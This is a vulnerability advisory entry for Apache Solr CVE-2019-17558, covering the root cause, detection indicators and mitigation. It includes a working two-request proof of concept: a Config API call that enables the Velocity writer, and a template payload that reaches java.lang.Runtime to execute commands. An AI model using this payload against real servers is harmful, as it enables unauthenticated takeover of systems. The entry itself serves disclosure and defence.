Apache Solr VelocityResponseWriter RCE

Product: Apache Solr
CVE: CVE-2019-17558
Disclosed: 2019-12-30
CVSS: 7.5
Auth: pre-auth
CISA KEV: yes
Affected: 5.0.0 - 8.3.1
Fixed: 8.4.0

Summary

Solr's Velocity response writer can be switched on via the Config API, after which a Velocity template supplied in a query parameter runs Java methods. Solr has no authentication by default, so exposed instances can be taken over with two requests.

Root cause

The params.resource.loader.enabled option lets templates be read from request parameters, and Solr's Config API lets anyone toggle it for a core. Velocity templates can reach java.lang.Runtime via reflection ($x.class.forName), yielding command execution.

Impact

Unauthenticated RCE on Solr servers without authentication enabled.

Public PoC

POST /solr/demo/config
{"update-queryresponsewriter": {"startup": "lazy", "name": "velocity",
  "class": "solr.VelocityResponseWriter", "template.base.dir": "",
  "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true"}}

GET /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Source: vulhub / solr/CVE-2019-17558

Detection

Look for POSTs to /solr/<core>/config with 'update-queryresponsewriter' and queries with 'wt=velocity' and 'v.template.custom'. nuclei template CVE-2019-17558.

Mitigation

Upgrade to 8.4+, enable Solr authentication, and keep the Config API off the network.